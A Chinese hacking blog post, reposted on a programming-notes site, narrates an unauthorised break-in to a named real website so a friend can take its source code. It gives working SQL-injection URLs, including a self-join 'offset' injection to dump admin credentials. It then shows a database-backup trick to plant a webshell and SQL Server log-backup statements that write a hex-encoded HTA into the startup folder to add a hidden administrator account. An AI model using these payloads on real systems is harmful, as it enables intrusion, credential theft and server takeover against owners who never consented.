热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

巧妙利用表自联偏移注入ACC数据库拿webshell(图)

今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的

今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的是个通用防注入系统,过滤的很严格,对get跟post都进行了严格的参数过滤,转换编码格式也没能绕过注入系统,COOKIE注入也没能成功。后台也不能登陆,看来只能用旁注了。(如果有哪位大牛能突破这个通用防注入系统的话,不防发出来大家共享一下。)又拿出AK48,推荐一下这个工具,觉得比旁注王要好用一点,先有AK48扫射,立即就扫出了不少网站。大概有十多个吧,一查IP地址发现是上海IDC机房的,估计八成是虚拟主机了,汗!!!!!!!!!想到虚拟主机现在都有点怕了,虚拟主机提权难呀,就算你旁注到了 webshell,别说提权服务器就算是夸站也是比较困难。不管了还是先拿webshell子再说吧,网站虽然有十多个,但大多不能注入,现在的网站动不动就挂了通用防注入系统上去,就像现在电脑动不动就装个360打补丁一样,轻而易举的就把漏洞给补上了,呵呵看来现在的网民的安全意思都提高了。将近花了40分钟的时间去找注入点,结果只发现了2个网站有注入漏洞,其中还有一个虽然有注入点,但是找不到后台直接放弃了,最后只剩下一个网站希望最大了,注入也有,后台也找出来了,直接丢进啊D里面去跑跑,跑出了4个表,其中管理员表admin只跑出了一个ID字段,用户名字跟密码字段都跑出来。换个明小子跟NBSI pang龙 都试过了,只能跑出admin表却跑不出字段来了。如图(1)

 

工具跑不出来了,那只好手工试试,有时候手工比攻击要有效的多,先初步的分析了下,虽然我们找不到字段,但是如果这个注入点可以试用联合查询的话,说不定,不需要知道字段名字也可以把用户跟密码爆出来。先测试看能不能union
http://tapesales.net/ProductShow.asp?ID=95 order by 1(从1一直增加直到返回错误为止)当增加到29返回正常而30却返回错误,就证明当前表的字段为29个。
构造联合查询语句试下看能不能用
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin  返回如下图(2 )

 

看来联合查询可以用,嘿嘿,只要能联就不怕爆不出他的密码来。第二步我们还需要知道表admin的字段数,构造语句
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,* from admin(返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,.....n-1,n,* from admin(替增n的值,知道返回正确)当n=15的时候返回正确了,说明admin表有29-15=14个字段,知道了表admin的字段了,那我们先试着盲爆试试看,如果运气好的话可以直接爆出来。继续爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 返回如图(3)
狂晕!!!这么多都没爆出一个来,看来今天手气是很不咋滴,连用户名字都没爆出来来。只爆出来了访问者的IP地址图三左下脚,要是我们知道管理员的用户字段跟密码字段就好了,直接替换2,3,5,9,15 随便替换一个就可以爆出来,关键是现在猜不出管理员的字段。看来得仔细分析分析了。
老规矩先点跟烟清理思路。。。。。。。。。。。
如果我们知道admin的字段数多的话,我们可以使用偏移注入,但是目前我们只知道一个字段ID字段,偏也偏不出来了呀?再分析一下字段数,当前的字段为 29个,而我们的admin表有14个字段,而恰好我们也已知了一个ID字段,14*2+1=29 哈哈恰好满足自联呀,自联就是根据on语句后面的条件把自己联合一下,字段数会增加一倍。。。。等等等等。。。。。。。。。。。貌似这样解释有点不对,为了不误导新人,觉得还是有必要解释一下,
比如有一个表A结构如下
id  name  pass  字段
1    abc   123
2    efg   456
3     hij   789
自联
select * from (admin as a inner join admin as b on a.id=b.id) 
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1     abc    123    1    abc    123
2     efg    456    2    efg    456
3     hij    789    3    hij    789
我们看原来一个A表用有3个字段,通过自联后,我们发现他有了6个字段,也就是说字段加倍了。汗!!1!! 扯远了回到主题。通过上面的分析,我们可以自联admin表,admin表是14个字段,自联后也就是2*14=28个字段,然后我们在随便加一个字段凑数就变成了29个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用 a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)  如图(4)
嘿嘿 密码已经给爆出来了3bbffb13d93c6bbf,先去MD5,解密吧,得到密码bbs1234.接着爆用户名字,我们只要偏移一下空间联合查询的的顺序就行了。
那就偏吧。。。。。。。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,* from (admin as a inner join admin as b on a.id=b.id) 如图(5) )
竟然没偏出来了,出乎我的意料了!!!!! 我再偏。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 
如图(6)
嘿嘿这下它藏不住了吧,乖乖的爆了出来 love123456 ,用户名字跟密码都有了登陆后台,后台有数据库备份功能,但是不能自定义备份后缀名字。我们可以通过抓包,然后修改post内容自定义路径跟备份格式,备份出ASP格式的安全, 如图(7),
也貌似有还有上传漏洞。成功备份出小马,小马生大马,得到一个webshel如图(8)
情况也就这么个情况,提权很困哪呀
Scripting.FileSystemObject √ 文件操作组件 
wscript.shell × 命令行执行组件 
ADOX.Catalog √ ACCESS建库组件 
JRO.JetEngine √ ACCESS压缩组件 
Scripting.Dictionary √ 数据流上传辅助组件 
Adodb.connection √ 数据库连接组件 
Adodb.Stream √ 数据流上传组件 
SoftArtisans.FileUp × SA-FileUp 文件上传组件 
LyfUpload.UploadFile × 刘云峰文件上传组件 
Persits.Upload.1 √ ASPUpload 文件上传组件 
JMail.SmtpMail √ JMail 邮件收发组件 
CDONTS.NewMail × 虚拟SMTP发信组件 
SmtpMail.SmtpMail.1 × SmtpMail发信组件 
Microsoft.XMLHTTP √ 数据传输组件 
PHP .net  服务器上虽然安装了,但是这个网站并不支持php跟.net。命令行也不能使用,开放端口 80 21 1433 3306,3389,FTP用的是server_u,但是管理员修改了密码,安装路劲也没权限浏览,也不能夸站浏览,出了能控制shell目录,其他目录都不能控制,哎 看来此路不通了,是时候放弃了
正准备要放弃的时候突然发现一个新的情况,再网站目录下面找到一个数据库连接文件,里面有数据库信息,嘎嘎,善良的人们总是在绝望的时候会得到老天爷的帮助。
有了数据库事情就办多了,先用数据库连接再说。看看是什么权限,public权限就可以列目录了,要是有DB权限的话,嘿嘿,夸站绰绰有余啊,提权服务器都是有可能的。用SQL 连接查询器连接数据库。果然是DB权限,DB权限的话可以试着备份到启动项试试(经过我多次测试,备份日志文件被直接备份数据库成功率至少要高一半)
在查询分析器里面输入如下语句
DUMP  TRANSACTION  sq_love  WITH  NO_LOG--
alter database sq_love set RECOVERY FULL--
create table hwz (a image)--
backup log sq_love to disk = ’c:/windows/temp/temp.bak’ with init--
insert into hwz (a) values 
(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A53657420206F3D4372656174654F626A6563742820225368656C6C2E55736572732220290D0A536574207A3D6F2E63
7265617465282268777A333130313422290D0A7A2E6368616E676550617373776F72642022313233343536222C22220D0A7A2E73657474696E6728224163636F756E745479706522293D330D0A776
96E646F772E636C6F73650D0A3C2F7363726970743E)--
backup log sq_love to disk = ’C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/run.hta’--
drop table hwz
要一条一条的的放在查询分析器中执行。执行完毕以后就会在启动项里生产一个run.hta的html应用程序,可以直接运行的,运行以后会添加一个用户名字为hwz31014密码为123456的管理员。DUMP  TRANSACTION  sq_love  WITH  NO_LOG-- 其中这一条是删除日志文件,经过多次测试发现,如果不清除日志,备份出来的hta文件很有可能运行不成功,使用最好先清除一下日志‘其他的就不多介绍了,大家应该都很熟悉了
好了我们执行,然后用webshell查看是否备份成功如图(9)
为了保险起见我们把这个文件下载到本地测试运行一下
C:/Program Files/MySQL/MySQL Server 5.1/bin>net user
// 的用户帐户
-----------------------------------------------------------------------
Administrator            ASPNET                   Guest
HelpAssistant            hwz31014                 IUSR_98A8AEEC54F641D
IWAM_98A8AEEC54F641D     SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
成功添加管理员用户,看来我们的备份是成功的,下一部就只等管理员重启服务器我们就可以得到系统权限了,即使得不系统权限我们也不怕,至少能夸服务器所有的网站,
拿份源代码应该问题不大了,既然已经是瓮中之鳖了那就先收工吧! 等明天管理员重启服务器,我再去收网.

 


推荐阅读
  • Java学习笔记之使用反射+泛型构建通用DAO
    本文介绍了使用反射和泛型构建通用DAO的方法,通过减少代码冗余度来提高开发效率。通过示例说明了如何使用反射和泛型来实现对不同表的相同操作,从而避免重复编写相似的代码。该方法可以在Java学习中起到较大的帮助作用。 ... [详细]
  • 如何自行分析定位SAP BSP错误
    The“BSPtag”Imentionedintheblogtitlemeansforexamplethetagchtmlb:configCelleratorbelowwhichi ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • ASP.NET2.0数据教程之十四:使用FormView的模板
    本文介绍了在ASP.NET 2.0中使用FormView控件来实现自定义的显示外观,与GridView和DetailsView不同,FormView使用模板来呈现,可以实现不规则的外观呈现。同时还介绍了TemplateField的用法和FormView与DetailsView的区别。 ... [详细]
  • 本文介绍了iOS数据库Sqlite的SQL语句分类和常见约束关键字。SQL语句分为DDL、DML和DQL三种类型,其中DDL语句用于定义、删除和修改数据表,关键字包括create、drop和alter。常见约束关键字包括if not exists、if exists、primary key、autoincrement、not null和default。此外,还介绍了常见的数据库数据类型,包括integer、text和real。 ... [详细]
  • Day2列表、字典、集合操作详解
    本文详细介绍了列表、字典、集合的操作方法,包括定义列表、访问列表元素、字符串操作、字典操作、集合操作、文件操作、字符编码与转码等内容。内容详实,适合初学者参考。 ... [详细]
  • 集成电路企业在进行跨隔离网数据交换时面临着安全性问题,传统的数据交换方式存在安全性堪忧、效率低下等问题。本文以《Ftrans跨网文件安全交换系统》为例,介绍了如何通过丰富的审批流程来满足企业的合规要求,保障数据交换的安全性。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文主要复习了数据库的一些知识点,包括环境变量设置、表之间的引用关系等。同时介绍了一些常用的数据库命令及其使用方法,如创建数据库、查看已存在的数据库、切换数据库、创建表等操作。通过本文的学习,可以加深对数据库的理解和应用能力。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
author-avatar
勇胆识_156
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有